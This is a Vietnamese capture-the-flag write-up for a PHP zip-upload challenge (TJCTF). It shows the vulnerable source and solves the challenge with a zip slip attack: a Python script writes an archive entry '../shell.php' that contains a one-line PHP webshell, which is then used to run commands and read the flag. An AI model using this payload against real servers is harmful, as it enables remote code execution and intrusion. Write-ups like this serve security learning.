Mô tả đề bài : Free cloud storage, what could possibly go wrong?
Đây là 1 bài whitebox với sources :
-composer.json :
{
"name": "free-cloud-storage/zip-upload",
"require": {
"chumper/zipper": "1.0.2"
}
}
-flag.php :
<?php
die("Nice try, but there's no flag here!");
?>
-index.html :
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Free Cloud Storage</title>
</head>
<body>
<h1>Free Cloud Storage</h1>
<div class="container">
<p>Our 100% legit cloud storage service provides all the space you need for your needs!</p>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="zipfile" accept=".zip" required>
<button type="submit">Upload</button>
</form>
</div>
</body>
</html>
-upload.php :
<?php
require 'vendor/autoload.php';
use Chumper\Zipper\Zipper;
$uploadDir = __DIR__ . '/uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['zipfile'])) {
die("No file uploaded.");
}
$tmpName = $_FILES['zipfile']['tmp_name'];
$fileName = basename($_FILES['zipfile']['name']);
if (pathinfo($fileName, PATHINFO_EXTENSION) !== 'zip') {
die("Only zip files allowed.");
}
$destination = $uploadDir . $fileName;
if (!move_uploaded_file($tmpName, $destination)) {
die("Upload failed.");
}
echo "<p>File uploaded. Extracting...</p>";
$zipper = new Zipper();
$zipper->make($destination)->extractTo($uploadDir);
echo "<p>Extraction complete!</p>";
}
?>
<!DOCTYPE html>
<html>
<body>
<h2>Upload your ZIP file</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="zipfile" required>
<button type="submit">Upload</button>
</form>
</body>
</html>
-> Phân tích code php :
Validate duy nhất là extension của zip ngoài. Không có validate gì trên nội dung bên trong zip
Đây là 1 chall về zip slip
-> Ta sẽ tạo zip chứa entry tên là ../shell.php với payload PHP webshell
-> Ta sẽ upload zip lên server sau đó server extract thì sẽ vào thư mục cha của uploads là /
-> Ta sẽ truy cập shell.php với tham số lệnh để sử dụng câu lệnh từ xa ( đây là lỗ hổng RCE )
Thực hiện :
Vì tạo trực tiếp 1 file có tên là ../shell.php không được nên ta sẽ sử dụng thư viện zipfile của python.
Ta sẽ chạy đoạn code python sau:
import zipfile
PAYLOAD = b'<?php system($_GET["c"]); ?>'
with zipfile.ZipFile('evil.zip', 'w', zipfile.ZIP_DEFLATED) as z:
info = zipfile.ZipInfo('../shell.php')
z.writestr(info, PAYLOAD)
print("xong;-;")
-> Sau khi chạy ta được 1 file zip tên là evil.zip
-> Sau đó ta upload file zip đó lên

Sau đó ta truy cập vào /shell.php để thực hiện lệnh, ta dùng lệnh ls :

nhận thấy có file flag nên ta sẽ cat file flag ra luôn

=> Kết quả nhận được flag là : tjctf{i_l0v3_fr33_st0r4g3}